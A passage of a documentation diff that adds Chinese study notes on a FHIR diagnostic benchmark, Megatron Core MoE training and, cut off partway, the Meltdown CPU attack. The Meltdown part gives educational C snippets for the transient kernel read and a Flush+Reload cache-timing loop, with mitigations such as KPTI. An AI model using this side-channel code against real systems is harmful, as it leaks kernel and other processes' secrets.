**−23.16** | +| Gemini-3.1-Pro zero-shot | 58.95% | 52.63% | −6.32 | +| Claude-Opus-4.6 zero-shot | 68.42% | 53.63% | −14.79 | + +**Few-shot 在文本上提升明显,在 FHIR 上反而可能更差**——模型或许把 shot 里的叙事模式错误迁移到 JSON 结构上。这强化了:**部署前必须在目标数据形态上评测**。 + +--- + +## 代码示例 1:读懂 Bundle 骨架(Python) + +下面用最小脚本加载一条 FHIR Bundle,列出资源类型与 SNOMED 编码——这是 MCS 评测前「人类/模型在看什么」的第一步: + +```python +import json +from pathlib import Path +from collections import Counter + +def summarize_bundle(bundle_path: str) -> None: + bundle = json.loads(Path(bundle_path).read_text()) + assert bundle["resourceType"] == "Bundle" + types = Counter() + snomed_codes = [] + for entry in bundle.get("entry", []): + res = entry.get("resource", {}) + rtype = res.get("resourceType", "?") + types[rtype] += 1 + # 递归收集 SNOMED coding(教学用简化版) + def walk(obj): + if isinstance(obj, dict): + if obj.get("system") == "http://snomed.info/sct": + snomed_codes.append(obj.get("display") or obj.get("code")) + for v in obj.values(): + walk(v) + elif isinstance(obj, list): + for item in obj: + walk(item) + walk(res) + print("Resource counts:", dict(types)) + print("SNOMED concepts (sample):", snomed_codes[:8]) + +# 假设从 MedCase-Structured 仓库解压的单例 +summarize_bundle("cases/test/case_00042.bundle.json") +``` + +实战中你会看到:`Encounter.reasonCode`、`Condition.code`、`Observation.code` 分散在不同资源里——模型必须把**跨资源证据**合成诊断,而不是读一段连贯叙述。 + +--- + +## 代码示例 2:复现评测提示结构(诊断任务) + +论文附录 B 规定模型输出 JSON:`diagnosis` + `reasoning`。下面用伪代码展示 **FHIR 输入** 与 **文本输入** 如何共用同一套评测壳(便于自己跑 ablation): + +```python +import json + +SYSTEM = ( + "You are a careful physician solving clinical diagnostic reasoning cases. " + "Use only the provided case information. Return valid JSON only." +) + +def build_user_prompt(case_input: str, *, mode: str) -> str: + if mode == "fhir": + header = "You will receive a FHIR Bundle JSON for a clinical case." + body = case_input # 完整 Bundle JSON 字符串 + elif mode == "text": + header = "You will receive a plain text clinical case description." + body = case_input # MedCaseReasoning case_prompt + else: + raise ValueError(mode) + schema = ( + 'Return exactly this JSON schema: ' + '{"diagnosis": "single most likely diagnosis", ' + '"reasoning": "brief explanation using the case evidence"}' + ) + return f"{header} Determine the most likely final diagnosis. {schema}\n\n{body}" + +def parse_model_json(raw: str) -> dict: + # 生产环境应加 jsonschema 校验与重试 + return json.loads(raw) + +# FHIR 路径 +fhir_bundle = open("case_00042.bundle.json").read() +prompt_mcs = build_user_prompt(fhir_bundle, mode="fhir") + +# 文本对照路径(同一病例的 case_prompt) +text_case = open("case_00042.prompt.txt").read() +prompt_mcr = build_user_prompt(text_case, mode="text") + +# 下游:调用 API → parse_model_json → GPT-5.4 judge 比较 final_diagnosis +``` + +若你微调 CDSS,应分别在 `prompt_mcr` 与 `prompt_mcs` 上报告指标,而不是只报文本侧「好看」的数字。 + +--- + +## 代码示例 3(加分):术语接地思路(概念片段) + +论文用 SapBERT 向量 + FAISS 做「码表对齐」。下面不是论文源码,但说明 **replace / reject** 决策逻辑: + +```python +import numpy as np + +def cosine(a: np.ndarray, b: np.ndarray) -> float: + return float(np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b) + 1e-9)) + +def ground_code( + mention: str, + llm_code: str, + llm_display: str, + faiss_index, # 预建:标准术语 SapBERT 向量 + term_table: list[dict], + thresholds: tuple[float, float] = (0.85, 0.70), +) -> str | None: + """高相似度接受;中间带替换;过低拒绝(返回 None 触发修复循环)""" + emb = encode_sapbert(mention) # 与论文一致的生物医学句向量 + sims, idxs = faiss_index.search(emb.reshape(1, -1), k=5) + best_sim, best_idx = float(sims[0][0]), int(idxs[0][0]) + canonical = term_table[best_idx] + if llm_code == canonical["code"] and best_sim >= thresholds[0]: + return llm_code + if best_sim >= thresholds[0]: + return canonical["code"] # 替换幻觉码 + if best_sim >= thresholds[1]: + return canonical["code"] # 弱匹配仍替换 + return None # 拒绝 → 进入 LLM repair +``` + +非特异性表述(「口服抗生素」)常在 `thresholds` 下被拒——这也是 Table 2 里 RxNorm 失败高发的原因。 + +--- + +## 与相关工作的对比(选型表) + +| 方案 | 优势 | 局限 | +|------|------|------| +| **MIMIC-IV / FHIR 衍生** | 真实分布 | 隐私、许可、非原生 FHIR 工作流 | +| **Synthea** | 大规模合成 FHIR | 规则驱动,难控复杂罕见病例 | +| **FHIR-GPT / Infherno** | 笔记→FHIR 重建 | 偏「忠实还原」,非可控评测集生成 | +| **EHRStruct / FHIR-AgentBench** | 结构化 EHR 任务基准 | 固定数据,难按需生成新场景 | +| **MedCase-Structured** | 医生病例 + 术语校验 + 诊断隐藏 + 文本/FHIR 对照 | 资源类型子集、纵向轨迹简化、成像信息过滤 | + +--- + +## 局限与未来方向(论文自述) + +1. **FHIR 资源覆盖不全**:长线病程用重复、带日期的资源近似,而非完整 temporal graph。 +2. **术语库缝隙**:LOINC 化验名口语化、疫苗商品名(CVX)、非特异性药物类仍易失败。 +3. **成像依赖病例被排除**:放射/病理描述重的病例无法进入当前生成器。 +4. **合成 ≠ 真实**:术语接地错误会传导到下游评测,需与真实世界验证互补。 + +未来工作:扩展资源类型、加强纵向建模、扩大术语表、上下文感知校验。 + +--- + +## 谁应该读这篇论文 + +| 角色 | 收获 | +|------|------| +| **医疗 NLP / CDSS 研究者** | 部署对齐评测范式、text-to-FHIR 流水线设计 | +| **FHIR 工程师** | Bundle 组装、编码接地、诊断泄漏模式 | +| **LLM 评测从业者** | 同一任务多表示(text vs JSON)的对照实验模板 | +| **医院信息科** | 理解为何「接口标准化」不等于「模型自动变强」 | + +--- + +## 速查清单 + +1. **FHIR R4 Bundle** = 多资源 JSON 图,不是单段病历。 +2. **三阶段 LLM + 确定性接地/校验**,不是端到端一次性生成。 +3. **诊断隐藏**是评测 CDSS 的必要条件,否则标签泄漏。 +4. **82.5%** 是流水线成功率;**test 95 例**才是常用评测子集。 +5. **FHIR 输入准确率低于文本**是主结论,不是边角料。 +6. 数据集:[github.com/SystemInternal/MedCase-Structured](https://github.com/SystemInternal/MedCase-Structured) +7. 上游病例:[github.com/kevinwu23/Stanford-MedCaseReasoning](https://github.com/kevinwu23/Stanford-MedCaseReasoning) + +--- + +## 参考文献 + +```bibtex +@article{buimuti2026medcase, + title={MedCase-Structured: A Text-to-FHIR Dataset for Benchmarking + Diagnostic Reasoning in Clinically Realistic EHR Settings}, + author={Bui Muti, Valentina and Dulout, Eug{\'e}nie and Fu, Ziquan}, + journal={arXiv preprint arXiv:2605.30295}, + year={2026}, + url={https://arxiv.org/abs/2605.30295} +} + +@inproceedings{wu2025medcase, + title={MedCaseReasoning: Evaluating and Learning Diagnostic Reasoning + from Clinical Case Reports}, + author={Wu, Kevin and Wu, Eric and Thapa, Rahul and others}, + booktitle={NeurIPS}, + year={2025}, + url={https://arxiv.org/abs/2505.11733} +} +``` + +--- + +## 一句话带走 + +**MedCase-Structured 把「医生写的病例故事」翻译成「医院信息系统里会长什么样」的 FHIR,并证明:大模型在后者上的诊断推理明显更难——做临床 AI 必须在 FHIR 形态上评测,而不能只刷文本病历榜。** diff --git a/src/content/docs/papers/megatron-core-moe-2026.md b/src/content/docs/papers/megatron-core-moe-2026.md new file mode 100644 index 000000000..c64bb5a04 --- /dev/null +++ b/src/content/docs/papers/megatron-core-moe-2026.md @@ -0,0 +1,339 @@ +--- +title: Megatron Core MoE 大规模训练 — 零基础学习笔记 +来源: https://arxiv.org/abs/2603.07685 +日期: 2026-06-13 +分类: 机器学习 +子分类: ML 系统 +provenance: pipeline-v3 +--- + +## 从日常类比开始:专科会诊中心 vs 总机接线 + +想象你要运营一家**超大型连锁医院**(千卡 GPU 集群),里面有两种科室: + +- **Attention 层**像**总机 + 全科医生**:每个病人(token)都要和当天所有在院记录(上下文)对一遍话——计算模式**密集**,适合把同一份病历拆给几位医生并行看(**Tensor Parallelism, TP**)。 +- **MoE 专家层**像**32 个专科门诊**:每个病人只被分到 **Top-K 个专家**会诊——总「名医库」很大,但单次会诊只开几间诊室。若把每位专家再切成碎片(对专家矩阵做 TP),单次 GEMM 更小、GPU 更闲;更自然的做法是**把不同专家放到不同 GPU**(**Expert Parallelism, EP**),再在 GPU 之间**派单、收单**(all-to-all 通信)。 + +旧训练框架的问题,相当于**强迫总机和专科门诊共用同一套排班表**:传统约束要求 `EP ≤ DP`(专家并行度不能超过数据并行度),Attention 想要 `TP=4` 时,MoE 层的 EP 也被迫受限——**dense 层和 sparse 层的最优拓扑互相打架**。 + +NVIDIA 2026 年 3 月发布的技术报告 **《Scalable Training of Mixture-of-Experts Models with Megatron Core》**(arXiv:[2603.07685](https://arxiv.org/abs/2603.07685))系统总结了 **Megatron-Core MoE** 栈:用 **Parallel Folding** 给 Attention 和 MoE **各排各的班**,再叠加内存、通信、计算三面优化,在 GB200/GB300 上把 DeepSeek-V3-685B、Qwen3-235B 推到 **900–1200+ TFLOPS/GPU** 量级。 + +一句话:**MoE 训练不是「把 dense 训练脚本多加几个 expert 参数」——而是 memory × communication × compute 的系统共设计。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 类型 | 技术报告(Technical Report) | +| 机构 | NVIDIA | +| 代码 | [NVIDIA/Megatron-LM](https://github.com/NVIDIA/Megatron-LM) 的 `megatron/core/transformer/moe/` | +| 关联论文 | [MoE Parallel Folding (2504.14960)](https://arxiv.org/abs/2504.14960) | +| 验证模型 | DeepSeek-V3、Qwen3-235B、Mixtral、Qwen2/3 系列等 | +| 规模 | 数十亿到**万亿**参数、**数千 GPU** 集群 | + +报告不是提出新的 MoE 路由算法,而是回答:**在真实硬件上,如何把 MoE 训快、训稳、训得起。** + +--- + +## 为什么重要 + +### 1. MoE 改变了「参数」与「算力」的关系 + +Dense 模型:参数量 N 与每 token FLOPs 大致同阶增长——加卡、加算力比较「齐步走」。 + +MoE 模型:总参数可以 685B,但每 token 只激活 ~37B(DeepSeek-V3,约 **18×** 差距)。**显存要装下全部专家**,**算力却只跑一小撮**——于是出现报告里的 **parameter-compute mismatch(参数-计算错配)**。 + +### 2. 三面墙(Three Walls)彼此牵连 + +| 墙 | 典型症状 | 只修一面会怎样 | +|----|----------|----------------| +| **Memory Wall** | 激活 > 权重;DeepSeek-V3 单卡激活可达 **131 GB** | 开 recomputation 省内存 → 通信占比暴露 | +| **Communication Wall** | EP all-to-all 占 **20–60%** 迭代时间 | overlap 通信 → 专家 GEMM 太短,overlap 吃不饱 | +| **Compute Wall** | 小 batch、多专家 → kernel 碎片化、MFU 低 | 上 CUDA Graph → 与 dropless 动态 shape 冲突 | + +Megatron-Core 的核心主张:**三面要一起调**,不能「头痛医头」。 + +### 3. 工业界事实标准栈 + +DeepSeek-V3、Qwen3 等模型的**预训练配置**大量出现在 Megatron-MoE-Model-Zoo;读这篇报告 ≈ 读当前大规模 MoE **系统最佳实践清单**。 + +--- + +## 核心概念 + +### 1. MoE 层四阶段前向(Route → Dispatch → Compute → Combine) + +Megatron-Core 把 MoE 层拆成模块化流水线: + +```text +输入 tokens + → [1 Route] Router 选 Top-K 专家 + 路由权重 + → [2 Dispatch] 按专家 permute + 跨 GPU 搬运(all-to-all / DeepEP / HybridEP) + → [3 Compute] 本地专家 Grouped GEMM(TEGroupedMLP) + → [4 Combine] 加权聚合 + unpermute 回原 token 顺序 +``` + +**Router、Dispatcher、Experts** 可独立优化:换 dispatcher 不必改 expert 内核;expert 换 FP8 后端不必动 router 融合。 + +### 2. 五维并行 + Parallel Folding + +传统 Megatron **dense** 并行:**TP、PP、DP、CP(Context Parallel)**。 + +MoE 再加第五维:**EP(Expert Parallel)**——每个 rank 持 `E/EP` 个专家。 + +**Parallel Folding** 为 Attention 与 MoE **分别定义进程组**: + +| 层类型 | 典型符号 | 含义 | +|--------|----------|------| +| Attention | TP, CP, DP | 与 dense Transformer 类似 | +| MoE | **ETP**, **EP**, **EDP** | Expert Tensor / Expert / Expert Data Parallel | + +关键突破:**打破 `EP ≤ DP`**。MoE 的 EP 可以「折叠」到 Attention 的 `TP × CP × DP` 子组之上。 + +**示例(报告 Figure 5 思路)**:256 GPU,`PP=4`,Attention 侧 `TP=4, CP=2, DP=8`;MoE 侧可设 `ETP=1, EP=64, EDP=1`——专家并行度是旧约束下的 **8×**。 + +### 3. Token Dispatcher 三种后端 + +| 类型 | 特点 | 适用 | +|------|------|------| +| **AllGather** | 实现简单 | 小规模、调试 | +| **all-to-all** | NCCL 标准 EP 通信 | 通用 | +| **Flex(DeepEP / HybridEP)** | 针对 NVLink / 跨节点优化 | H100、B200、GB200 生产 | + +HybridEP 在 GB200 上对 hidden=7168、seq=4096、256 experts 等配置,**通信延迟 consistently 低于纯 all-to-all**(跨节点差距更大)。 + +### 4. Grouped GEMM 与 dropless MoE + +每个 GPU 上多个专家的小 GEMM 若逐个 launch,SM 利用率极差。**Grouped GEMM** 把「同一 rank 上所有专家的 MLP」合成一次 batched GEMM(Megablocks / Tutel / Transformer Engine 路线)。 + +**Token dropless(dMoE)**:不丢弃过载 token,允许动态每个 expert 收到不同 token 数——更保真,但 shape 动态,与 **CUDA Graph** 冲突;Megatron 用 **sync-free execution**、细粒度 graph scope(如只 capture attention)折中。 + +### 5. 内存优化组合拳(DeepSeek-V3 单卡 BF16 示意) + +报告 Table 3:`PP4 × VPP4 × EP64`,256 GPU,**未优化前 ~199.5 GB/GPU**(远超 H100 80GB): + +| 组件 | 占用 | 主要手段 | +|------|------|----------| +| 权重+梯度 | 36.4 GB | PP / EP / TP 分片 | +| 优化器状态 | 32.1 GB | Distributed Optimizer、BF16 moments、FSDP+EP | +| **激活** | **131.0 GB** | FP8/NVFP4、细粒度 recomputation、offload、Memory-Efficient Permutation | + +**Memory-Efficient Permutation**:把 router 概率 `p_i` 从「专家输出后乘」改到「SwiGLU 激活后、第二层线性前乘」——数学等价(无 bias 时),却少存一份 expert 输出用于反传,DeepSeek-V3 上约 **省 26.3 GB** 激活,**零额外算力**。 + +### 6. 低精度:FP8 / NVFP4 + +MoE 训练支持 blockwise FP8、NVFP4:线性层输入存低精度 → 激活内存 **减半或 1/4**;通信量也可下降;Tensor Core GEMM 加速。需 **selective precision**(router、norm 等仍 BF16)保收敛。GB200 上 DeepSeek-V3 优化配置可达 **1048 TFLOPS/GPU**(Table 17)。 + +### 7. 性能数字(报告摘要) + +| 模型 | 平台 | TFLOPS/GPU(报告峰值) | +|------|------|------------------------| +| DeepSeek-V3-685B | GB300 / GB200 | **1233 / 1048** | +| Qwen3-235B | GB300 / GB200 | **974 / 919** | +| DeepSeek-V3 | H100 ×1024 | **368**(配置不同,跨节点 EP 更重) | + +另:Parallel Folding 论文在 H100 上 Mixtral 8×22B 约 **49.3% MFU**,Qwen2-57B-A14B 约 **39.0% MFU**。 + +--- + +## 代码示例 + +### 示例 1:用 Python 模拟 MoE 四阶段与 EP 派单 + +下面不是 Megatron 源码,而是帮助理解 **Route → Dispatch → Compute → Combine** 与 **EP 分片** 的最小模型: + +```python +import torch +from collections import defaultdict + +NUM_EXPERTS = 8 +TOP_K = 2 +EP_SIZE = 4 # 4 个 GPU,每 rank 2 个专家 +HIDDEN = 16 + +# 模拟 6 个 token、随机 router logits +tokens = torch.randn(6, HIDDEN) +logits = torch.randn(6, NUM_EXPERTS) +weights, experts = torch.topk(logits, TOP_K, dim=-1) +route_w = torch.softmax(weights, dim=-1) + +def ep_rank(expert_id: int) -> int: + """专家 e 落在哪个 EP rank""" + return expert_id // (NUM_EXPERTS // EP_SIZE) + +# --- Stage 1: Route(已完成:experts, route_w)--- + +# --- Stage 2: Dispatch — 按 (rank, expert) 分桶 --- +buckets = defaultdict(list) # (rank, local_expert) -> [(token_idx, weight)] +for t in range(tokens.size(0)): + for k in range(TOP_K): + e = experts[t, k].item() + r = ep_rank(e) + local_e = e % (NUM_EXPERTS // EP_SIZE) + buckets[(r, local_e)].append((t, route_w[t, k].item())) + +print("Dispatch buckets (rank, local_expert) -> token indices:") +for key, pairs in sorted(buckets.items()): + print(f" {key}: {[p[0] for p in pairs]}") + +# --- Stage 3: Compute — 每 rank 上对本地专家做 MLP(此处用恒等映射示意)--- +expert_out = torch.zeros_like(tokens) +for t in range(tokens.size(0)): + acc = torch.zeros(HIDDEN) + for k in range(TOP_K): + acc = acc + route_w[t, k] * tokens[t] # 真实场景是 Expert_MLP_e(x) + expert_out[t] = acc + +# --- Stage 4: Combine --- +output = expert_out # 已按 token 顺序聚合 +print("output shape:", output.shape) +``` + +真实训练中,**Dispatch/Combine** 是 NCCL all-to-all 或 DeepEP;**Compute** 是 `TEGroupedMLP` 一次调用多个专家。 + +### 示例 2:Megatron-LM 训练脚本中的 MoE 与性能 flag + +来自官方 `megatron/core/transformer/moe/README.md` 的推荐配置片段: + +```bash +# ===== 基础 MoE 结构(8 专家、Top-2、辅助负载均衡损失)===== +--num-experts 8 +--moe-shared-expert-intermediate-size 2048 +--moe-router-load-balancing-type aux_loss +--moe-router-topk 2 +--moe-aux-loss-coeff 1e-2 + +# ===== Token 派单:生产环境优先 Flex + DeepEP/HybridEP ===== +--moe-token-dispatcher-type flex +--moe-flex-dispatcher-backend deepep # GB200 上可换 hybridep + +# ===== 计算与融合 ===== +--moe-grouped-gemm +--moe-router-fusion +--moe-permute-fusion + +# ===== 并行与通信 overlap ===== +--use-distributed-optimizer +--overlap-param-gather +--overlap-grad-reduce +--overlap-moe-expert-parallel-comm +--delay-wgrad-compute + +# ===== 内存:细粒度 recomputation(mla / moe / norm 等可选)===== +--recompute-granularity selective +--recompute-modules moe moe_act norm +``` + +**Parallel Folding** 具体 TP/EP/PP 组合需按模型与 GPU 显存迭代;Model Zoo 提供 DeepSeek-V3、Qwen3-235B 等参考 config。单机调试可用 `--fake-init-process-group` 在 **1 GPU** 上模拟分布式显存占用,先找「不 OOM 的可行并行度」。 + +### 示例 3:Parallel Folding 配置直觉(伪 YAML) + +```yaml +# 256 × GB200,DeepSeek-V3 风格(报告 Table 17 简化) +cluster: + gpus: 256 + model: deepseek_v3_685b + +attention_parallel: + pipeline_parallel: 4 + tensor_parallel: 4 # 仅 Attention / Dense 部分 + context_parallel: 2 + data_parallel: 8 + +moe_parallel: # Parallel Folding:与 attention 解耦 + expert_tensor_parallel: 1 # 专家不做 TP,保持 GEMM 粒度 + expert_parallel: 64 # 可 > attention DP,打破 EP≤DP + expert_data_parallel: 1 + +dispatcher: + type: flex + backend: hybridep # NVL72 域内 EP + +precision: + compute: fp8_blockwise + optimizer_states: bf16 +``` + +--- + +## MoE 训练调参工作流(报告 Section 9 提炼) + +```text +Step 1 在显存预算内找可行并行度 + → fake-init / 估算 activation、权重、optimizer 三分量 +Step 2 最小化 TP/EP,最大化 DP(通信开销 vs 内存) + → EP×TP 尽量落在单节点 NVLink 域 +Step 3 跨节点优先加 PP,而非把 EP 拉过网络 +Step 4 三面墙迭代:permute 内存 → dispatcher → overlap → Grouped GEMM → FP8 → CUDA Graph +Step 5 长上下文单独调:CP + MLA recomputation + optimizer CPU offload +``` + +**Guideline 记忆点**:MoE 的 EP 通信是 **medium–high** 带宽敏感;Attention 的 TP 是 **high**;PP 跨节点但 activation 不随 EP 分片——**激活常常是调 parallel mapping 的第一约束**。 + +--- + +## 与相关系统对比 + +| 系统 | 侧重点 | +|------|--------| +| **GShard / Switch / GLaM** | MoE 算法与负载均衡先驱 | +| **Tutel / DeepSpeed-MoE** | 早期 MoE 系统优化 | +| **Megatron-Core MoE(本篇)** | 生产级全栈:Parallel Folding + DeepEP/HybridEP + TE Grouped GEMM + FP8/NVFP4 + 长上下文 | +| **vLLM / SGLang** | **推理** serving;本篇是 **训练** | + +训练栈与推理栈问题不同:训练要存 **optimizer + 全量 expert 权重 + 反向激活**;推理只需活跃专家与 KV cache。 + +--- + +## 实践案例 + +### 案例 1:DeepSeek-V3 on GB200(256 GPU) + +- 配置:`PP=4`,Parallel Folding,HybridEP,CUDA Graph(缓解 FP8 下 CPU launch 瓶颈) +- 结果:**1048 TFLOPS/GPU** +- 启示:Blackwell 上 **host 开销** 可能成为新瓶颈,graph 不是可选项 + +### 案例 2:DeepSeek-V3 on H100(1024 GPU) + +- 跨节点 **EP64**,通信占主导 → DeepEP + **EP A2A overlap** + FP8 blockwise +- 结果:**368 TFLOPS/GPU**(仍远低于 GB200,但集群可扩展) +- 启示:**同模型不同硬件 = 不同优化栈**,不能照搬 flag + +### 案例 3:长上下文 256K + +组合 **CP + TP + selective recomputation(MLA up-proj 等)+ optimizer CPU offload**;DeepSeek-V3 在 256 Hopper GPU 上长上下文 MFU 可达短上下文的 **88%**。 + +--- + +## 常见误区 + +1. **「MoE 参数多但算力省,显存应该更省」** — 错。未激活专家权重仍要驻留;激活还随层数、top-k、batch 增长。 +2. **「EP 越大越好」** — 错。EP 增大 → all-to-all 体积与次数上升;需 NVLink 域内或 overlap。 +3. **「全开 recomputation 就行」** — 错。MoE 层整层 checkpoint 会 **重跑 all-to-all**;应 **细粒度**(SwiGLU、LayerNorm、MLA up-proj)。 +4. **「Attention 和 MoE 用同一 TP/DP」** — 旧范式;大模型应评估 **Parallel Folding**。 + +--- + +## 延伸阅读 + +- 报告全文:[arXiv:2603.07685](https://arxiv.org/abs/2603.07685) +- Parallel Folding 细节:[arXiv:2504.14960](https://arxiv.org/abs/2504.14960) +- 代码 README:[megatron/core/transformer/moe/README.md](https://github.com/NVIDIA/Megatron-LM/blob/main/megatron/core/transformer/moe/README.md) +- 预训练 config 参考:[Megatron-MoE-ModelZoo](https://github.com/yanring/Megatron-MoE-ModelZoo) + +--- + +## 小结 + +| 你学到的 | 一句话 | +|----------|--------| +| 参数-计算错配 | 总参数 ≫ 每 token 计算 → 必须 EP,且内存装全量专家 | +| 三面墙 | Memory / Communication / Compute 联动,单点优化会暴露其他瓶颈 | +| Parallel Folding | Attention 与 MoE **分开排并行度**,打破 EP≤DP | +| 四阶段 MoE 层 | Route → Dispatch → Compute → Combine,模块可替换 | +| 系统优化 | Grouped GEMM、DeepEP/HybridEP、细粒度 recomputation、FP8/NVFP4、CUDA Graph | +| 数字 | DeepSeek-V3 **1000+ TFLOPS/GPU**(GB200 级),依赖整栈而非单 trick | + +Megatron-Core MoE 这篇报告的价值,在于把「能训万亿 MoE」拆成**可操作的系统 checklist**——从进程组拓扑到 dispatcher 选型,从 permute 的数学等价变形到 FP8 该存哪些 tensor。下次你看到 `--moe-token-dispatcher-type flex`,知道它背后是 **Communication Wall** 上的一整套工程,而不只是一个 CLI 开关。 diff --git a/src/content/docs/papers/meltdown-attack-2018.md b/src/content/docs/papers/meltdown-attack-2018.md new file mode 100644 index 000000000..1a62d32fb --- /dev/null +++ b/src/content/docs/papers/meltdown-attack-2018.md @@ -0,0 +1,266 @@ +--- +title: Meltdown — 从用户空间偷读内核内存 +来源: https://meltdownattack.com/meltdown.pdf +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Meltdown: Reading Kernel Memory from User Space**(Lipp、Schwarz、Gruss 等,USENIX Security 2018;arXiv [1801.01207](https://arxiv.org/abs/1801.01207))揭示了一类**硬件级信息泄漏**:普通用户程序**不需要 root、不需要内核漏洞**,就能读到操作系统内核映射里的内存——密码、SSH 密钥、别的进程数据都可能被拖出来。 + +官方 PDF:[meltdownattack.com/meltdown.pdf](https://meltdownattack.com/meltdown.pdf)。同日披露的 [[spectre-attack-2018]] 利用**分支预测错误**诱骗受害代码投机执行;Meltdown 更直接——利用**乱序执行**在权限检查完成前就把「不该读的内核地址」搬进 CPU 内部流水线,再用**缓存侧信道**把秘密字节「听」出来。 + +日常类比: + +> 图书馆规定「普通读者不能进珍本室」。你站在阅览室(用户态),照理够不到珍本室书架(内核内存)。但管理员为了提速,会让助理**手快先抽书**——在刷卡系统确认「你有没有权限」之前,书页可能已经翻过几页;发现你没权限后,业务作废、登记本上这笔借阅被划掉,可**书页压在复印机玻璃上留下的压痕**(CPU 缓存访问痕迹)还在。攻击者不闯珍本室,只量复印机哪块玻璃最近被压过,就能反推书页上的字。 +> 现代 CPU 的乱序执行就是那个「手快的助理」;L1/L2 缓存就是「会留下压痕的玻璃」。 + +一句话:**Meltdown 把「为了提速而提前执行的内存访问」变成泄密通道,让操作系统以为牢固的地址空间隔离在微架构层面晚了一步。** + +## 为什么重要 + +不理解这篇论文,下面这些事都讲不清: + +- 为什么 2018 年 1 月全球 IT 进入「紧急补丁周」,Linux 突然上了 **KPTI**(Kernel Page Table Isolation),Windows 上了 **KVA Shadow**,macOS 做了类似改造 +- 为什么打内核补丁后,数据库、容器运行时、高频 `syscall` 的服务**明显变慢**——不是补丁写坏了,是为堵 Meltdown 付的**性能税** +- 为什么云厂商要强调「同宿主机邻居进程」不再被默认信任,多租户隔离要重新审计 +- 为什么 CPU 厂商除了打微码,还要在新一代芯片里改硬件缓解——软件补丁救不了所有变体 +- 为什么安全圈把「侧信道」从冷门论文话题变成**每台服务器的必修项** + +论文强调:Meltdown **不依赖任何软件漏洞**,破坏的是**地址空间隔离**这一安全地基;在受影响系统上,攻击者可读其他进程或云虚拟机内存,**无需任何权限或特权**。 + +## 核心概念 + +### 1. 架构状态 vs 微架构状态 + +CPU 有两层「状态」需要区分: + +| 层面 | 含义 | 攻击者能否直接读 | +|------|------|------------------| +| **架构状态**(architectural) | 程序员可见的寄存器、内存、程序计数器 | 非法读取会被撤销,你看不到「名义上的」秘密 | +| **微架构状态**(microarchitectural) | 缓存行是否载入、TLB、分支预测历史等 | 可通过计时、功耗等侧信道间接观测 | + +Meltdown 的核心矛盾:**乱序执行撤销了架构层面的非法读取,却没有完全抹掉微架构层面的缓存痕迹。** + +### 2. 乱序执行(Out-of-Order Execution) + +现代 CPU 不会严格按程序顺序一条一条执行。为了填满流水线,会在**依赖还没算完**时先执行后面「看起来独立」的指令——例如「读内核地址」这条 load,可能在「权限检查是否通过」之前就进入内存子系统。 + +类比:电梯门还没开,职员的手已经伸进抽屉——架构上最终会作废这次读取,但微架构层面**数据可能已被取进缓存**。 + +### 3. 瞬态指令序列(Transient Instruction Sequence) + +在乱序窗口里执行、随后因异常或权限失败而被丢弃的指令,叫 **transient instructions**。它们在架构语义上「从未发生」,却可能: + +1. 从**用户不可访问的内核地址**读出秘密字节 `value` +2. 用 `value` 计算 `probe[value * 4096]` 并访问该地址 +3. 把「秘密是多少」编码成「probe 数组的哪一行被载入缓存」 + +### 4. Flush+Reload 侧信道 + +**Flush+Reload** 是 Meltdown 选用的缓存攻击技术(Yarom & Falkner, USENIX Security 2014): + +1. **Flush**:用 `clflush` 把探测数组从缓存清掉 +2. **Trigger**:触发瞬态序列,让 CPU 暗中访问 `probe[secret]` +3. **Reload**:逐个探测 `probe[i]` 的访问时间——**缓存命中快、未命中慢**,最热的行号就是 `secret` + +论文报告在 Intel Core i7-6700K 上可达约 **503 KB/s** 的泄漏速率。 + +### 5. KAISER / KPTI 缓解 + +**KAISER**(Kernel Address Isolation to have Side-channels Efficiently Removed)把内核页表与用户页表拆开:用户态运行时**根本映射不到内核地址**,乱序 load 够不着目标。Linux 实现叫 **KPTI**;论文在披露窗口内与 Windows、macOS 厂商协同验证,这是当时最有效的软件缓解。 + +## 攻击三步走(论文 Figure 4–5) + +```text +Step 1 选择目标内核地址 addr,尝试读取 *addr → 得到秘密字节 value + (乱序执行可能在页错误/权限异常「提交」前完成 load) + +Step 2 瞬态序列:access(probe[value * 4096]) + → 把 value 写入缓存状态(微架构 covert channel 发送端) + +Step 3 Flush+Reload 扫描 probe[0..255] + → 最热的页号 = value(covert channel 接收端) +``` + +重复 Step 1–3,对内核地址空间逐字节扫描,即可 dump 内核映射(含指向物理内存的窗口)。 + +## 实践案例 + +### 案例 1:玩具示例——三行 C 在干什么 + +论文 Section 3 的极简示意(教学用,现代系统已缓解,不可直接当武器): + +```c +// addr:攻击者想读的内核虚拟地址(例如通过 /proc/self/mem 等途径获得线索) +// probe:攻击者分配的大数组,256 页,每页至少 4096 字节(一页一缓存行策略) +// value:从 addr 读出的秘密字节(0–255) + +value = *addr; // Step 1:非法读内核;乱序下可能先完成 +probe[value * 4096]; // Step 2:用秘密值触碰 probe 某一页 + // Step 3:随后用 Flush+Reload 在外层循环恢复 value +``` + +**逐行解释**: + +- `*addr` 在架构上应触发 **#GP 页保护异常** 或页错误,结果不应提交到 `value` +- 乱序窗口里,load 可能**已经**把数据搬进内部寄存器,并沿依赖链执行 `probe[...]` +- 异常处理撤销寄存器,但 **`probe[value*4096]` 对应缓存行可能已变热** +- 外层 `for (i=0; i<256; i++)` 配合 `rdtsc` 计时,找出最热页号 → 重建 `value` + +### 案例 2:Flush+Reload 探测循环 + +攻击的「接收端」通常是测量缓存的循环,而非「一行就读内核」: + +```c +#define CACHE_LINE 512 // 典型 x86 缓存行 64B;教学常放大 stride 减少预取干扰 +#define THRESHOLD 80 // 命中/未命中的周期阈值,需校准 + +uint8_t probe[256 * CACHE_LINE]; +int leaked_byte = -1; + +void flush_probe_array(void) { + for (int i = 0; i < 256; i++) + _mm_clflush(&probe[i * CACHE_LINE]); // 清空所有探测行 +} + +int reload_probe(void) { + for (int i = 0; i < 256; i++) { + uint64_t t0 = __rdtsc(); + volatile uint8_t junk = probe[i * CACHE_LINE]; + uint64_t t1 = __rdtsc(); + if (t1 - t0 < THRESHOLD) + return i; // 这一行刚被瞬态序列碰过 + } + return -1; +} + +// 典型一轮:flush → 触发含 *addr 与 probe[value*4096] 的瞬态序列 → reload_probe() +``` + +**要点**: + +- `_mm_clflush` / `clflush` 把指定缓存行逐出,保证测量前起点一致 +- `__rdtsc` 读时间戳计数器,**命中约数十周期,未命中可达数百周期** +- `volatile` 